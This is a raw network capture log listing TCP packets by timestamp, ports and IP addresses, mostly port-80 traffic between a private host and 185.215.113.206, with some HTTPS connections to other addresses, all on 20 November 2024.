Nov 20, 2024 21:05:51.002355099 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.002448082 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.002449989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.002612114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.003187895 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.003228903 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.003247976 CET	443	49850	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.003287077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.003675938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.003838062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.004033089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.004189014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.004215956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.004887104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.004998922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.005023956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.005377054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.005671024 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.005762100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.005826950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.005826950 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.006546021 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.006659031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.006881952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.007308006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.007392883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.007543087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.007571936 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.007689953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.008261919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.009052992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.009157896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.009169102 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.009170055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.009258032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.009258032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.009938002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.010062933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.010190010 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.010230064 CET	49849	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.010251999 CET	443	49849	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.010409117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.010879040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.011004925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.011192083 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.011672020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.011684895 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.011843920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.012511015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.012593985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.012708902 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.013377905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.013478041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.013674021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.014195919 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.014321089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.014580011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.015045881 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.015336990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.015347958 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.015465021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.015976906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.016019106 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.016036034 CET	443	49853	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.016053915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.016073942 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.016197920 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.016720057 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.017070055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.017296076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.017365932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.017616034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.017633915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.017663956 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.017771006 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.018393040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.018538952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.018568039 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.018860102 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.019228935 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.019393921 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.019407034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.019480944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.020085096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.020246983 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.020323038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.020925045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.021217108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.021241903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.021780014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.022150993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.048064947 CET	49850	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.061659098 CET	49853	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.143723011 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.144054890 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.144088030 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.145009041 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.145090103 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.145683050 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.145745039 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.145848036 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.155859947 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.156162024 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.156177998 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.159123898 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.159190893 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.159771919 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.159826040 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.159945011 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.159950972 CET	443	49852	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.167386055 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:51.167540073 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:51.167654037 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:51.172665119 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.172775984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.172821045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.172873974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.172988892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.173037052 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.173197985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.173423052 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.173866987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.173927069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.173954964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.173998117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.174710035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.174767971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.175141096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.175199032 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.175681114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.175738096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.175863981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.175909996 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.176429987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.176481962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.176508904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.176556110 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.177244902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.177293062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.177371979 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.177453041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.178097963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.178149939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.178184032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.178231001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.179038048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.179089069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.179255962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.179303885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.179847002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.179965019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.179970026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.180011988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.180619955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.180668116 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.180831909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.180879116 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.181509018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.181606054 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.181746006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.181792021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.182401896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.182449102 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.182637930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.182703972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.183171988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.183218002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.183478117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.183969021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.183998108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.184127092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.184176922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.184231997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.184858084 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.184910059 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.184987068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.185142040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.185714960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.185767889 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.186582088 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.186593056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.186623096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.186635971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.186687946 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.187424898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.187472105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.187577009 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.187650919 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.187767982 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.187769890 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.187799931 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.187813044 CET	443	49851	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.188386917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.188437939 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.188529968 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.188543081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.188584089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.189100981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.189163923 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.189213991 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.189996004 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.190046072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.190421104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.190465927 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.190834999 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.190846920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.190885067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.191061974 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.191133976 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.191629887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.191682100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.191895008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.191941977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.192528009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.192540884 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.192581892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.193309069 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.193362951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.193383932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.193425894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.194156885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.194207907 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.194523096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.194571972 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.194983959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.195156097 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.195317984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.195446968 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.195848942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.195887089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.195940971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.196705103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.196749926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.196976900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.197026014 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.197568893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.197623968 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.197863102 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.197973013 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.198368073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.198419094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.198823929 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.198875904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.199229002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.199377060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.199429989 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.200180054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.200231075 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.200252056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.200275898 CET	49817	443	192.168.2.7	18.165.220.66
Nov 20, 2024 21:05:51.200290918 CET	443	49817	18.165.220.66	192.168.2.7
Nov 20, 2024 21:05:51.200297117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.200934887 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.200995922 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.201359034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.201550007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.201800108 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.201843977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.202249050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.202616930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.202639103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.202668905 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.202723980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.203032017 CET	49848	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.203077078 CET	443	49848	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.203454971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.203516006 CET	49852	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.203532934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.203645945 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.203660965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.203699112 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.203707933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.203777075 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.204288006 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.204288960 CET	49861	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.204310894 CET	443	49861	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:51.204366922 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.204734087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.204785109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.205195904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.205312014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.205344915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.205368042 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.206032038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.206099987 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.206146955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.206196070 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.206820011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.206887960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.206999063 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.207123995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.207680941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.207740068 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.207905054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.208079100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.208601952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.208724976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.208781004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.209389925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.209459066 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.209482908 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.209531069 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.210217953 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.210289001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.210326910 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.210378885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.211055040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.211118937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.211179972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.211450100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.211903095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.212157965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.212162018 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.212213993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.212781906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.212826967 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.212845087 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.212876081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.213612080 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.213675976 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.213733912 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.213870049 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.214451075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.214517117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.214567900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.214616060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.215287924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.215351105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.215401888 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.215462923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.216151953 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.216228962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.216245890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.216360092 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.216985941 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:51.217041969 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:51.236303091 CET	49851	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:51.293139935 CET	443	49854	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:51.293662071 CET	49854	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:51.293714046 CET	443	49854	13.107.246.63	192.168.2.7
